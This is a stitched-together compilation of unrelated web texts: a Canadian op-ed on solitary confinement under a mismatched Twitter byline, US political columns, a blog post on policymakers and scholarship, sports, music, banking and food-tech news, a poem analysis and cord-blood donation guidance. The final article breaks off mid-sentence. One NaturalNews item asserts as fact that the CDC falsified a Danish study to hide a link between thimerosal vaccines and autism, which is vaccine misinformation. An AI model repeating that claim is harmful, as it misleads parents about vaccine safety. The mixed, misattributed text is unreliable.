Scavino Jr. (@Scavino45) May 29, 2017
-There is a young First Nations man in Thunder Bay who the province of Ontario has kept in a hole for 52 months. His name is Adam Capay. When he was 19 he was arrested on minor charges and sent to jail. There he got into a fight and another man died. We don’t know if Capay is guilty—he has been waiting an incredible four years for his trial.  While he has been waiting, he has been kept in solitary confinement, in a Plexiglas box, in an empty cellblock with no windows, and with the lights kept on for 24 hours. Capay has interacted with so few people over the last four years he is losing the ability to speak.  One thousand five hundred and sixty days in solitary confinement. To put this in perspective, consider that the United Nations has declared this form of segregation should never surpass 15 days. They did this because it is considered one of the worst forms of psychological torture.  How bad is it? In the 1950s, a well-regarded psychologist named Harry Harlow decided to find out. He placed rhesus macaque monkeys in solitary confinement for 20 days and recorded the effects. Every monkey emerged badly damaged. Harlow was universally condemned for his cruel and unethical experiment, and his reputation was permanently ruined. And yet the province of Ontario has effectively conducted this experiment on Adam Capay 78 times in a row.  We don’t know how many other cases there are like this. Incredibly, it appears that the politicians and officials responsible don’t either. Renu Mandhane, Ontario’s chief human rights commissioner has been trying to find out. So far, she has identified 1,383 cases of prisoners being held in solitary confinement for more than 15 days. Twelve of these people have been subjected to this for more than a year.  If this happened in a country that is notorious for violating human rights, like Saudi Arabia, we would be outraged. Discovering this is occurring in Canada is so shocking it is difficult to process.  To find out how this is possible, there are a few men who need to answer some questions. Bill Wheeler is the superintendent of the Thunder Bay jail. When his corrections officers put a prisoner in solitary, protocols dictate he must sign off on an extension after five days. How can he justify extending Capay’s torture week after week, for four years?  If a prisoner with mental health issues (like Adam Capay) is kept in solitary for more than 30 days, the provincial minister responsible for correctional services must be informed, in this case that is David Orazietti. But Mandhane told me she believes he only learned about the case when she raised it with him on Oct. 12. Why did his ministry fail to follow procedures? And what has he done since then to fix it?  Regardless, Orazietti has known about Capay for 13 days now, and yet he remains in solitary. When asked how this is possible he shamelessly told the legislature, “That is a decision that is made by the individuals operating our jails. I will not take individual action on a specific circumstance.”  There is a line that ministers are not meant to cross. Governments are elected to tell the bureaucrats what to do, not how to do it. In this case, Orazietti should not dictate how a particular inmate is treated. But he can tell his department: “You have 24 hours to ensure the province of Ontario is no longer violating the UN mandated limit of 15 days. I suggest you start with the most egregious cases first.” Why didn’t he?  I am informed that in the case of Capay, there is a readily available solution. St. Lawrence Valley Correctional and Treatment Centre is specifically designed to house and treat prisoners like Capay who suffer from mental illness and may pose a threat to themselves or others. Superintendent Wheeler, and the senior officials who report to him, starting with deputy minister Matthew Torigian, need to explain why they failed to do so.  Another person who needs to answer questions is Attorney General Yasir Naqvi. How is it possible his ministry has allowed people to be held for four years without trial? How many people are in this situation? He too was informed of the Capay case 13 days ago. What has he done since then to address it?  I am sure each of these four men can explain to themselves and us why they are not responsible for the torture that Adam Capay has endured now for 52 months. They can tell us they didn’t know, that it isn’t their responsibility, that they don’t have the resources. Many times when something goes wrong, this is defensible. The system isn’t perfect. Mistakes are made. But when those mistakes are as horrific as the Capay case, these excuses won’t do. These men failed. They need to be held accountable and if found responsible, resign.  Canadian politics is filled with spurious and cynical demands that officials resign. But, as Adam Capay still sits alone in solitary, is there any way this could be a more obvious case of official incompetence and culpability?
-TEPID ON OBAMA  “If the election for president were to be held today, over half of Americans — 52 percent — would be unlikely to vote to re-elect President Obama, 2 in 5 would be likely to vote for him and 7 percent are not at all sure,” observes Regina A. Corso, senior vice president of the Harris Poll, which surveyed more than 2,000 Americans on such sentiments for a two-week period ending Friday.  Is this a reality check for the White House, where Republican spectacle makes for entertaining viewing? Despite all the Grand Old Party’s political theater, the state of the nation does not appear lost on Americans. Mr. Obama has work to do.  “Looking at this by party, 9 in 10 Republicans and over half of independents would be unlikely to vote for him, as would 20 percent of Democrats. Also, in the likely 2012 swing states, 53 percent say they would be unlikely to vote for the president,” Ms. Corso continues, adding that just more than one-third say Mr. Obama will be re-elected while 41 percent think he won’t.  THE PERSISTENT BREW  Certain glib Democrats predict every twist on the Republican campaign trail. Among other things, they map out the triumphant trajectory of Mitt Romney, followed by his convenient defeat on Election Day by President Obama. Yeah, well. There are still factors that even liberals can neither control or predict — such as the persistent tea party, which continues to flourish despite claims to the contrary in the mainstream media. Sarah Palin and now Herman Cain bolster interest while grass-roots tea partyers are still influential, and the presidential hopefuls know it.  Mr. Romney, Newt Gingrich and Rick Santorum were scheduled to face off Sunday evening in the Tea Party Patriots’ “Presidential Tele Forum” and follow-up straw poll of Florida tea partyers. The evening’s questions came from activists in the Sunshine State “tired of the media trying to force them to choose a particular candidate,” a spokesman says. Results of the poll will be released before voters head to the primary on Tuesday.  “The race has been heating up, and the tea party showed itself a dominant force in South Carolina. Florida will be no different, and the front-runners will have to display their grasp of tea party principles to earn the support of conservative Floridians,” observes Jenny Beth Martin, co-founder of the Patriots, who represents 3,400 local groups nationwide. Hear the audio in the aftermath here: TeaPartyPatriots.org.  FOREVER REAGAN  While the GOP bickers over who or what upholds the Gipper legacy, the Ronald Reagan Presidential Library in Simi Valley, Calif., is putting the finishing touches on the 101st birthday celebration of one Ronald Wilson Reagan, scheduled Feb. 6. The public event is now standing room only.  On hand for cheerful doings: the Camp Pendleton (Calif.) Marine Division Band and Col. Nicholas F. Marano, the commanding officer at Camp Pendleton. There also will be a color guard, a brass quintet, a 21-gun salute, a wreath-laying ceremony, a chaplain’s prayer and a keynote address by former Mississippi Gov. Haley Barbour.  CANDIDATE TRACKER  Where the heck are they in the screaming finish leading up to the Florida Republican primary Tuesday? Newt Gingrich will be in Jacksonville, Pensacola, Tampa, Fort Myers and Orlando. Mitt Romney will be in Jacksonville, Dunedin, Tampa and the Villages. And Rep. Ron Paul? He’ll be in Colorado: Fort Collins, Denver and Colorado Springs.  ABOUT BELLA  “Thank you, Rick and Karen Santorum, for living the Christ-like example of sacrifice and right priorities. Nothing is more precious or important than the life of an innocent child.”  (Sarah and Todd Palin, in a message to the Republican hopeful and his wife Sunday after he left the Florida campaign trail to tend to his 3-year-old daughter Bella, hospitalized in Philadelphia for pneumonia.)  “Ann and I send prayers and best wishes for Bella’s good health to Rick and Karen Santorum and their entire family.”  (Mitt Romney, in a message to Mr. Santorum, via Twitter.)  LIBERTARIANS=CONSERVATIVES?  It is a vibrant but uneasy mix when libertarians and conservatives are at the same convention, or even in the same room. Now inquiring minds want to know: Are libertarians part of the conservative movement? The American Enterprise Institute puts this question to a formal debate, pitting syndicated columnist Jonah Goldberg against Reason magazine editor Matt Welch to hammer out the conclusion.  Mr. Goldberg contends that libertarians are indeed part of the broader conservative movement’s push for limited government. Mr. Welch, however, insists that libertarians have a “unique” understanding of politics that makes them incompatible with the conservative mindset.  Organizers say seats for this Feb. 8 debate will go quickly; it will be followed by a wine and cheese reception, incidentally. POLL DU JOUR  • 67 percent of likely Republican voters in Florida “strongly support” their candidate and are unlikely to change; 71 percent of Mitt Romney fans and 68 percent of Newt Gingrich’s supporters agree.  • 42 percent of Florida GOP voters overall support Mr. Romney, 27 percent support Mr. Gingrich.  • 49 percent of liberal/moderate Florida Republicans support Mr. Romney, 20 percent Mr. Gingrich.  • 47 percent of conservative voters support Mr. Romney, 28 percent Mr. Gingrich.  • 24 percent of “very conservative” voters support Mr. Romney, 36 percent Mr. Gingrich.  • 39 percent of tea partyers support Mr. Romney, 32 percent Mr. Gingrich.  • 27 percent of those who “strongly support” the tea party support Mr. Romney, 40 percent Mr. Gingrich.  • 34 percent of evangelical Christians support Mr. Romney, 28 percent Mr. Gingrich.  Source: An NBC News/Marist poll of 2,795 registered Florida primary voters conducted Jan. 25-27.  • Querulous outcry, happy talk, annoyances to jharper@washingtontimes.com.  Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.
-Why Foreign Affairs Policymakers are More Prejudiced than Economic Policymakers  Yesterday I was intermittently watching Janet Yellen’s testimony before the Senate Banking Committee, and I was struck by how often she relied on the guidance of "studies" to explain her worldview on monetary policy. By "studies," Yellen was referring to the policy-relevant academic literature.  This, in and of itself, is not extraordinary — you’d find the same trope when Ben Bernanke testified. But it got me to thinking,. and then to tweeting:  Fun exercise: imagine a SecState or NSC Advisor referring to "studies" — i.e., the literature — as much as Yellen has in Cong. testimony. — Daniel Drezner (@dandrezner) November 14, 2013  My point is that no foreign policy principal, in testifying before Congress, would ever think of saying that the academic literature guides their thinking on a particular policy issue.  In response to that tweet, Chris Blattman — a strange economist in the stranger land of political science — offered a response:  [An] immense amount of what the best political scientists are doing is irrelevant to what State or the NSC does, and what is relevant is often of mediocre quality. I think this is improving but I’m not very sure. (emphasis added)  Now it’s possible that Blattman is correct — but I don’t think so. First, I’m unconvinced that political scientists are doing as much irrelevant scholarship as he suggests. More importantly, I’m extremely dubious of the implicit contention that a greater fraction of political scientists are doing policy irrelevant work than, say, economists.  I’d offer an alternative hypothesis — prejudice. The issue isn’t the poverty of political science research, but rather that foreign affairs policymakers view their relevant academic literature very differently from the way economic policymakers view their relevant academic literature. To repeat myself:  [T[he fundamental difference between economic policy and foreign policy is that the former community accepts the idea that economic methodologies and theory-building enterprises have value, and are worth using as a guide to policymaking. This doesn’t mean economists agree on everything, but it does mean they are all speaking a common language and accept the notion of external validity checks on their arguments. That consensus simply does not exist within the foreign policy community…. Many members of the foreign policy community explicitly reject the notion that social science methodologies and techniques can explain much in world politics. They therefore are predisposed to reject the kind of scholarship that political scientists of all stripes generate. This might be for well-founded reasons, it might be simple innumeracy hostility to the academy, or it might be a combination of the two. I’d love to have a debate about whether that’s a good or bad thing, but my point is that’s the reality we face.  For evidence to back up my assertion, see this forthcoming International Studies Quarterly paper by Michael Desch and Paul Avey entitled "What Do Policymakers Want From Us?" They find that senior foreign affairs policymakers are extremely dubious about the utility of political science scholarship. The interesting finding is why:  [T]he more sophisticated social science methods such as formal models, operations research, theoretical analysis, and quantitative analysis tended to be categorized more often as “not very useful” or “not useful at all,” calling into question the direct influence of these approaches to international relations. Indeed, the only methodology that more than half the respondents characterized as “not very useful” or “not useful at all” was formal models. As Table 4 shows, the higher the rank of the government official, the less likely he or she was to think that formal models were useful for policymaking (p. 11).  Now here’s the thing — as Desch and Avey note, these very same policymakers have a very different attitude about economics: "Respondents were more tolerant of ‘highly theoretical writings [and] complex statistical analysis of social science topics’ in the realm of Economics (p. 9)." Indeed, they note at the end of their paper that an outstanding question remains: "why is it that policymakers are relatively tolerant of complex modeling and statistical work in Economics and survey research but not in other areas of political science and international relations? (p. 35)"  Maybe this is because economists are really just far more sophisticated in their research than political scientists — but I don’t think so. Maybe, as Desch and Avey postulate, it’s because foreign affairs policymakers exaggerate how important these methodologies are to economic policymakers. Or maybe it’s something different: it’s that economic policymakers have imbibed the methodology and jargon of economists in a way that foreign policymakers have not with international relations. They don’t reflexively pre-judge such scholarship in a negative light.  What do you think?
-The great Jaguar stalwart and racer Bill was farewelled today at a moving ceremony held at Caloundra on the Queensland Sunshine Coast, close to his much loved home.  His sons Michael and Rob plus daughter Kym, and all of his grandchildren, were wonderful hosts at a ceremony which celebrated the extraordinary life of this incredibly modest racing champion.  His two most famous Jaguars were D-Type XKD526, and his works built racing ‘Mk1’ – one of very few of its kind built.  We will have a major tribute to Bill in our coming edition, but if you wonder just why he is so revered despite retiring from the track in 1963 – this will explain:  Winner: 24 Hour Race Mt Druitt 1954 – XK120 FHC – defeated C-Type of Peter Whitehead and Tony Gaze  Winner: Victorian TT – D-Type  Winner: Australian Touring Car Championship 1961  Second: Australian Touring Car Championship 1960, 1962  Winner: AJC Trophy ‘Mk1’  Winner: Queensland Touring Car Championship – twice  1957 Mobilgas Trial – MkVIII 7th outright – first non-Volkswagen home  Australian Grand Prix 1954 – 11th outright following puncture in the XK120-based Anderson Special (only race)  Bill was a competitive, brave and highly skilled driver – but if he had a failing – it was that he was too modest!  After all, it was he and a couple of fellow Jaguar ‘Mk1’ racers who established Australia’s love affair with touring car racing – and that is broadcast to the world today, of course.  Farewell to the great Jaguar devotee – and a truly good ever-smiling gentleman.  www.jaguarmagazine.com  iTunes  Magzter  Amazon
-The Right Suitor  A child was born about 6 decades ago  Into the hands of a waiting white suitor  She got nurtured and grew by the day  She crawled, leapt and walked in it time  She became a woman and then her crown left  From her, came thirty six offspring  Which she protected and fed unto maturity  A time came when she needed another crown  Suitors came from the north, east and south  She takes turn on each for at most eight years  Each one causing her miscarriages and agony  Who will bring her peace and joy?  Who will put a smile to her face?  The young clamours, the old clamours too  Who is the right suitor for this woman in agony?  Could it be you?  POETRY ANALYSIS  The poem “The Right Suitor” written by Akinjise Daniel in year 2018 is a free verse poem which has 16 lines broken up into 4 quatrains. It is themed or finds it thematic structure on the current situation in Nigeria, an African country. In stanza one, the poet talked about Nigeria, a country that got her independence some decades ago from the British Government (Britain). The poet chooses to describe the country as a feminine gendered character (a woman). The poet consciously made use of metaphoric words like woman, crown, suitor, offspring, and miscarriage, to mention a few in order to suggest a resemblance to the exact point.  In stanza two, the poet talked about a child that grew into womanhood, going through the different phases of human life-cycle to a point where she gave birth to about 36 offspring; which she took care of till the stage of maturity, after which she losses her crown (post-independence).  (Crown in this context means husband. In the African culture, a woman’s husband is regarded as her crown, without which she is incomplete). In stanza three, the poet talked about her (the woman) supposedly suitable suitors (suitors in this context mean politicians/presidential aspirants) coming from the different regions domiciled in the country; Nigeria, that is the Northern region (Hausa), the Eastern region (Igbo) and the Western region (Yoruba). The poet says that each of these aspirants after being voted into power remains in that post for a maximum of eight years without having something to show for it other than miscarriages. The poet intentionally uses the word “miscarriages” meaning bloodshed which comes from the Fulani herdsmen killing, Boko haram terrorist attacks which is evident in the occurrences happening in northern part of the country (Taraba, Plateau and Adamawa). The question then is who will bring that peace back to Nigeria; the peace that once existed.  In stanza four, the poet asked again a question:’ who will put a smile to her face?” the young clamor, the old clamors too. Not quite long, the young Nigerians requested that a bill: NOT TOO YOUNG TO RUN be passed. But they forgot that a young person was once given a chance and he messed it up. The old ones (Adult) too claims that power should remain with them with the notion that with adulthood comes experience. But there haven’t been reasonable changes since the power has been with them. The woman (Nigeria) then is thrown into a dilemma of who is capable of being her suitor.  In conclusion, the poet throws a question” who is the right suitor for this woman in agony?” Could it be you? The poet advises that both the young and old be given a chance and should make the right use of the chance given, even in the forth-coming general election.  Our online platforms are:  Blog: Tadinitiative  Twitter Handle: Tadinitiative  Facebook: Tadinitiative  Instagram: Tadinitiative
-Donating Umbilical Cord Blood to a Public Bank  Your decision to donate umbilical cord blood, which is full of blood-forming cells, may potentially save the life of someone who has a life-threatening disease.  Donating cord blood to a public cord blood bank involves talking with your doctor or midwife about your decision to donate and then calling a cord blood bank (if donation can be done at your hospital). Upon arriving at the hospital, tell the labor and delivery nurse that you are donating umbilical cord blood.  After your baby is born, the umbilical cord and placenta are usually thrown away. Because you are choosing to donate, the blood left in the umbilical cord and placenta will be collected and tested. Cord blood that meets standards for transplant will be stored at the public cord blood bank until needed by a patient. (It is not saved for your family.)  By donating umbilical cord blood, you may be helping someone who needs a transplant.  On this page:  Talk with your doctor or midwife about your decision to donate umbilical cord blood. Find out if your hospital collects cord blood for public donation and save the phone number of the public cord blood bank.  Participating Hospitals  Cord blood donation doesn’t cost anything for parents. Public cord blood banks pay for everything which includes the collection, testing, and storing of umbilical cord blood. This means that cord blood donation is not possible in every hospital.  If a public cord blood bank is not collecting in your area, perhaps there is another way you can help.  Contact the public cord blood bank that works with your hospital (see above). Although each cord blood bank has its own instructions, they often include asking you to:  See if you meet basic guidelines for cord blood donation. These questions are similar to those asked of blood donors. You can usually donate if you are:  Healthy Pregnant with one baby (rather than two or more)  Finish forms about the health history of you and your family. This information is important. It means that your blood is free from diseases that can be given to another person.  Medical staff at the public cord blood bank will check to see if you can donate. If you have had a disease that can be given to another person through blood-forming cells, such as hepatitis B, hepatitis C, or HIV (the AIDS virus), you will likely not be able to donate. However, other medical reasons may still allow you to donate, for example, hepatitis A or diabetes only during your pregnancy (gestational diabetes). The staff at the public cord blood bank will tell you.  Tell your type of expected delivery. Most public cord blood banks collect donations after a vaginal or C-section delivery.  Most public cord blood banks collect donations after a vaginal or C-section delivery. Sign a consent form to donate. This consent form says that the donated cord blood may be used by any patient needing a transplant. If the cord blood cannot be used for transplantation, it may be used in research studies or thrown away. These studies help future patients have a more successful transplant.  Keep a copy of the consent form in case you need to call the cord blood bank.  Each cord blood bank has different directions for returning the consent form. Some banks may ask you to mail the consent form along with the health history forms or to bring the original consent form with you to the hospital. Other banks may have you finish the form at the hospital. Follow the directions from your public cord blood bank.
-(NaturalNews) Deniers of the link between mercury-laden vaccines and autism are going to have a hard time denying the latest findings by the Coalition for Mercury-Free Drugs (CoMeD). The nonprofit group has obtained critical documents via a Freedom of Information Act (FOIA) request that exposes the US Center for Disease Control and Prevention's (CDC) role in deliberately lying about and manipulating a key Danish study that showed a clear link between vaccines containing mercury and autism.In 2003, the journalpublished a study conducted in Denmark that observed a significant decline in autism rates following the country's elimination of Thimerosal, a mercury-based component, from vaccines. But thanks to the CDC's corrupting influence, the published version of the study inactually claimed the opposite, and alleged that removal of Thimerosal brought about an increase in autism rates.According to the documents, CDC officials removed large amounts of data from the study that showed a decline in autism rates following the removal of Thimerosal. The agency then twisted the remaining data to imply an increase in autism rates following the removal of Thimerosal, and suggested that there was no link between Thimerosal and autism.Upon submission of the CDC's tainted version of the study to, the study's authors contacted CDC officials to let them know that the agency had incorrectly interpreted the data. They tried to tell the CDC that its figures and conclusions were wrong, and that corrections needed to be made.The CDC allegedly responded by saying that it would take a look at the incorrect data, but proceeded to submit the corrupted version of the study toanyway. After encouraging the editors ofto perform an expedited review of the corrupted study, the CDC ended up convincing the journal to publish the fraudulent study, which it did in 2003.Now that this critical information has been officially released for the world to see, CoMeD is pressing the CDC to conduct a full criminal investigation into the matter, and make a formal declaration about whether or not scientific fraud was involved. CoMeD is also calling for a full, immediate retraction of the corrupted study from"This should not be tolerated by those who are entrusted with our children's health and well-being," says Lisa Sykes, President of CoMeD.To learn more, visit:
-After becoming the first sitting U.S. president to attend the U.S. Women’s Open golf tournament on Friday, President Donald Trump will again attend the prestigious tournament on Saturday.  The sport’s third major of the year is being held at Trump National Golf Club in Bedminster, New Jersey, and Trump, an avid golfer and golf fan, went to the second round of the tournament on Friday after he returned home from his two-day trip to Paris, France.  I will be at the @USGA #USWomensOpen in Bedminster, NJ tomorrow. Big crowds expected & the women are playing great-should be very exciting! — Donald J. Trump (@realDonaldTrump) July 15, 2017  Trump’s presence was welcomed by LPGA golfers even though there was some controversy before the event.  USA Today columnist Christine Brennan again tried to make herself the story by hounding female golfers about Trump—just like she did to Rory McIlroy at the Masters. She even wrote a column urging Trump to “stay away.” American golfer Brittany Lincicome revealed that she received some criticism from her fans on Twitter after she said she hoped Trump would not show up to the U.S. Open.  Though there were some anti-Trump protesters, most of the golfers welcomed Trump’s presence.  Even the New York Times conceded that “most of the players described his presence as a welcome distraction. By showing up, Trump elevated the profile of the women, whose attendance and television audience have not grown as fast as their talent pool, which is so deep that the first 18 events of the 2017 L.P.G.A. Tour season produced 17 different winners.”  American golfer Angela Stanford said she respected the office of the president and it was “pretty cool” that Trump would take the time to show up to the tournament.  “How many chances are you going to get to play on a president’s golf course during a U.S. Open?” Stanford said, according to the Times.  Stacy Lewis, who has consistently been one of the top American golfers for the last decade, said she was also excited that Trump was attending their most prestigious tournament.  “We never had an active sitting president at one of our events, so I was kind of excited about the prospect of, regardless of who it is, that he came here to watch us,” Lewis reportedly said, according to ESPN. “He tweeted about coming to the U.S. Women’s Open. Some people didn’t know it was going on.”  Left Paris for U.S.A. Will be heading to New Jersey and attending the#USWomensOpen, their most important tournament, this afternoon. — Donald J. Trump (@realDonaldTrump) July 14, 2017  American golfer Marina Alex said that “regardless of your political affiliation and whether you are a fan of Trump or you’re not a fan of Trump, having a president at a women’s golf event is pretty remarkable.”  “It’s going to draw attention to women’s golf that has maybe never been in our favor before,” she said, according to the Washington Post. “We have an unbelievable group of talented women playing golf right now. If it’s allowing more people to see us play our game, I don’t see anything wrong with that.”  As the Post noted, “Trump has long been a prominent supporter of the LPGA Tour, hosting several events and inviting top female golfers to play rounds on his courses.”  Earlier, the USGA issued a statement that read, “If the President of the United States decides to attend the U.S. Women’s Open championship, we welcome him. ”  China’s Shanshan Feng (-8) leads the field by two strokes before moving day on Saturday. She’s followed by three South Koreans, including Amy Yang, who many believe is due to win a major, at six-under par. 2015 U.S. Open winner In Gee Chun (-4), Se Yeon Ryu (-4), the world’s top-ranked player, Canada’s Brooke Henderson (-3), one of the most exciting players on tour, Australia’s Minjee Lee (-3), New Zealand’s steady Lydia Ko (-3) and American Marina Alex (-3) are in contention.  Americans Lewis (-2), Christie Kerr (-2) and Lexi Thompson (-1), who has played some rounds with Trump in Florida, are still in the hunt.
-Win tickets to see Save Ferris and Stacked Like Pancakes on Thursday October 26th, 2017 at Music Box!  Ticket Price: $25 advanced & day of show  Parking: Street parking and paid lot parking available.  TableReservations / VIP: vip@musicboxsd.com / (619) 836-1847  Box Office Hours Monday – Friday 11:00am – 4:00pm  Enter your email below for a chance to win! Contest ends October 23rd, 2017. Winner will be notified by email.  WIN TICKETS TO SAVE FERRIS WIN TICKETS TO SAVE FERRIS 0 Your Entries 35 Total Entries Ended Days Left Win tickets to see Save Ferris and Stacked Like Pancakes on Thursday October 26th, 2017 at Music Box! Contest ends October 23rd, 2017. Winner will be notified by email. This contest expired.  Good luck!  —  Save Ferris  WHERE IT ALL BEGAN  Save Ferris is a ska-punk band formed in Orange County, California circa 1995. Their name is a reference to the 1986 film Ferris Bueller’s Day Off.  Lead by the inimitable front-woman Monique Powell, the band enjoyed mainstream success in the late 1990s with radio hits, constant touring and appearances on a variety of television shows and movies.  The band released their debut EP “Introducing Save Ferris” on Powell’s own Starpool Records, in 1996. They ended up selling close to 20,000 copies of their EP out of the trunks of their cars, thanks to loyal fans and huge support from Orange County independent record shops. That same year, Powell provided vocals on the Reel Big Fish song “She Has A Girlfriend Now” on their album “Turn the Radio Off” (Mojo).  As favorites of KROQ radio’s legendary Rodney on the Rock, Save Ferris became a regular presence on LA’s KROQ radio.  Later that year, the National Academy of Recording Arts and Sciences gave the band a Grammy showcase award for best unsigned band, earning them a recording contract with Epic Records (SONY).  The band released their debut full-length album for Epic in 1997. “It Means Everything” featured several re-recorded tracks from the EP, several new songs, a cover of Dexy’s Midnight Runners’ “Come on Eileen,” which the band released as their first official single, and what was to become their most successful single.  With two singles in the Billboard top 100 and full rotation on alternative radio all over the world, “It Means Everything” went platinum internationally.  In April 1998, Save Ferris made made their seminal on-screen appearance in the cult classic teen film, “10 Things I Hate About You”.  After a thunderously successful main stage tour with the Vans Warped Tour, the band began writing their follow-up to “It Means Everything”, the appropriately-titled “Modified”. Released in October 1999, the album saw the band mix their ska-punk roots with pop-punk stylings.  After almost fifteen years, Save Ferris will make their long awaited return to the music scene in 2017. Following a successful PledgeMusic campaign, the band’s new EP – Checkered Past – will be released on February 10th. The EP, produced by Oingo Boingo bassist John Avila, embraces Monique’s ska and dub roots and also features a guest appearance by Neville Staple of the Specials on the first single “New Sound.”  February 10th also marks the start of the band’s first full tour of the United States. The tour will take the band’s energetic show around the country starting in Santa Barbara and finishing at the new House of Blues in Anaheim, California with support from Vista Kicks on the West Coast and Baby Baby on the East Coast.  “Since this incarnation of Save Ferris first played together, the band and I have been working on new music, arranging schedules and selectively playing local shows to get ready for a tour. I have had to tell our fans to ‘be patient, I promise it’ll happen’ for too long now! But now here we are. I can’t believe we’ve made it this far….and now you get to see us in a town near you. For the first time in 15 years, Save Ferris is coming to get you! Are you ready?”  – Monique Powell  Stacked Like Pancakes  Reinvigorating the sounds of classic ska, Stacked Like Pancakes (SLP) piles on boisterous horns and punk rock attitude to create high energy music synthesizing the vibes of Reel Big Fish, twenty one pilots, Foo Fighters, and an untraceable amount of other artists and genres. Since 2007, SLP has shared the stage with national and international acts, toured on the Vans Warped Tour, headlined their own self-booked tours, and in December 2015 released their latest crowd-funded 15-track monster-album THIS IS US.  The token with this group is their live performance. Concert venues and music patrons alike should be prepared for the stage to shake, the crowd to be wild and unpredictable, and the show to be a deliberate fusion of spontaneity and precision. Their community fan base – the #PancakeNation – is hungry for their band to grow. Stacked Like Pancakes epitomizes a tough DIY band despite a meaningless band name, and are rightfully on the rise to claim an international stage of their own.
-Arsene Wenger has turned his attention to the Spanish giants as he makes late-window attempts to bring marquee firepower to the Gunners' attack following a frustrating summer  'AN ARSENAL STAR IN THE MAKING'  Miguel Churruca | Goal Spain  "Despite his stunning arrival to the Bernabeu, Di Maria has never felt the starting player he was supposed to be. Too many big-name stars in his position, a couple of long injuries and the irregular form he has shown in the last two seasons have put him on the Madrid departures list.  "Predominantly a left winger, the Argentina international has fantastic dribbling ability but Real's deals for Isco and, moreover, the imminent arrival of Gareth Bale, have opened the door to an exit.  "If he does join Arsenal, Di Maria would undoubtedly take a leading role in Wenger’s side, with the potential to play on both wings in support of Olivier Giroud."  Follow Wayne Veysey on  By Wayne Veysey | Chief Correspondent Arsenal have opened preliminary talks with Real Madrid over a £26 million deal for Angel Di Maria but must play a waiting game for Karim Benzema as the Spanish giants consider a late-window move for Luis Suarez has learned.Madrid have indicated in early discussions with the Gunners that they are willing to off-load Di Maria, the Argentinian winger, as they prepare to announce the world-record signing of Gareth Bale.But Goal understands that Real chiefs have told Arsenal they will not sell French striker Benzema unless they first secure a replacement.Liverpool fear that Real are willing to make a bid for wantaway forward Suarez, who has spoken publicly this summer of his desire to move to the Bernabeu.Although the Merseysiders remain resolute in their determination not to let the Uruguayan depart in this window, it would be regarded as more palatable for the club’s supporters to sell the 26-year-old overseas than to an immediate rival like Arsenal.The chain of transfers involving the elite clubs will determine Arsene Wenger’s chances of landing one or both of Di Maria and Benzema.Given that there are only 10 days left in the window, Arsenal’s hopes of landing the France international in particular look slim – Benzema is Real’s only senior centre forward following Gonzalo Higuain’s sale to Napoli earlier this summer – but the move for Di Maria is believed to be more advanced.Wenger's audacious approach for the attacking pair comes in a week in which Arsenal have made a series of shock moves for players who were not on their target list earlier in the window.As reported by Goal, the Londoners made bids for Newcastle midfielder Yohan Cabaye and Schalke right-back Atsuto Uchida on Monday, and also made an enquiry for Sevilla midfielder Geoffrey Kondogbia Wenger also has his eye on Stoke City goalkeeper Asmir Begovic and is weighing up a short-term contract offer for former Gunner Mathieu Flamini, who is training at London Colney after being released by AC Milan.It is the search for marquee attacking talent that is Wenger's chief priority as he attempts to make use of the £100m transfer kitty at his disposal and turn Arsenal into genuine title contenders.The Frenchman has turned his attention to Spain after becoming aware of Bale's impending move to Real, a deal that is expected to be completed for around £86m by the end of the week.The Gunners have still not given up hope of landing Suarez, while they are also continuing to monitor the situation of Wayne Rooney, who is being openly pursued by Chelsea.Manager Brendan Rodgers admitted on Thursday that a bid this late in the window for Suarez "would be very difficult [to accept]", adding: "There might have been a point a few months ago where there was time to do it but, with 11 days to go, it would be difficult to replace him."
-MasterCard's global chief innovation officer, Garry Lyons, said earlier this month that the launch of Android Pay could be more significant for the future payments infrastructure than Apple Pay given the myriad devices they would work on in comparison to Apple's.  In an interview at the opening of ANZ's new Martin Place branch – which resembles one of Apple's retail stores with its three-storey glass frontage, light timber interior, feature staircase and elevated tables for customers to explore products – Mr Ohlsson said ANZ was close to revealing a new contactless, merchant terminal. It will be launched in the second half of this calendar year.  Commonwealth Bank of Australia was the first of the major banks to create its own modern, eftpos terminal with its Albert device, built with Wincor Nixdorf. So far, there are 25,000 Alberts in circulation, compared to around 800,000 point of sale terminals in Australia. The Albert is a wireless, seven-inch Android tablet with touch screen.  But Mr Ohlsson suggested that the new ANZ device would be smaller than an iPad and could be worn in a holster. "We think it will be more relevant and usable [than Albert] but time will tell," Mr Ohlsson said. "In a restaurant or on a shop floor, you might not want to carry a tablet around with you, but if you have something in a holster then it is with you the whole time.  "We are talking to lots of large retailers about that now. Everything we do now has to be mobile, and it has to be contactless," he said.
-NEW YORK — Patrick Brown is on an improbable mission: Make a burger Americans love, minus the meat.  Veggie patties have been around for decades, but Brown and others want to make foods without animal products that look, cook and taste like the real thing — and can finally appeal to the masses.  “We are not making a veggie burger. We’re creating meat without using animals,” said Brown, a former Stanford scientist who has been scanning plants in search of compounds that can help recreate meat.  Brown’s company, Impossible Foods, is part of a wave of startups aiming to wean Americans off foods like burgers and eggs, and their efforts are attracting tens of millions of dollars from investors. The goal is to lessen the dependence on livestock for food, which they say isn’t as healthy, affordable or environmentally friendly as plant-based alternatives.  The challenge is that most Americans happily eat meat and eggs. That means that, without a breakthrough, those seeking to upend factory farming risk becoming footnotes in the history of startups.  To understand the difficulty of their task, consider the transformation raw chicken undergoes when cooked. It starts as a slimy, unappetizing blob, then turns into a tender piece of meat.  LEARNING TO MIMIC NATURE  In its office in Southern California, Beyond Meat works on “chicken” strips made with pea and soy proteins that have been sold at places like Whole Foods since 2012. But founder Ethan Brown concedes the product needs work.  To give the “meat” its fat, for instance, canola oil is evenly mixed throughout the product.  “That’s not really how it works in an animal,” said Brown, a vegan. “The fat can be a sheath on tendons.”  To form the strips, a mixture is pressed through a machine that forms and sets the product’s texture with heating and cooling chambers. The method isn’t new in the world of fake meats, but the company says it fine-tuned the process to deliver a more realistic offering.  Brown dismisses the idea that fake meat might weird people out and says it’s a “desirable evolution.”  “It’s like moving from the horse-drawn carriage to the automobile, or the landline to the iPhone,” he said.  But Beyond Meat isn’t quite there yet; The Huffington Post described the strips as having an “unpleasant” taste that inhabits a “strange territory between meat and vegetable.”  At Impossible Foods, the patty is made by extracting proteins from foods like spinach and beans, then combining them with other ingredients. The company, which has about 100 employees, expects the product to be available in the latter half of next year, initially through a food-service operator.  Few have tasted it, but the vision continues to gain traction. In October, Impossible Foods said it raised $108 million in funding, on top of its previous $74 million. Among its investors are Bill Gates, Google Ventures and Horizons Ventures.  CULTURING MEAT, JUST LIKE YOGURT  Another startup isn’t totally ditching the cow.  With 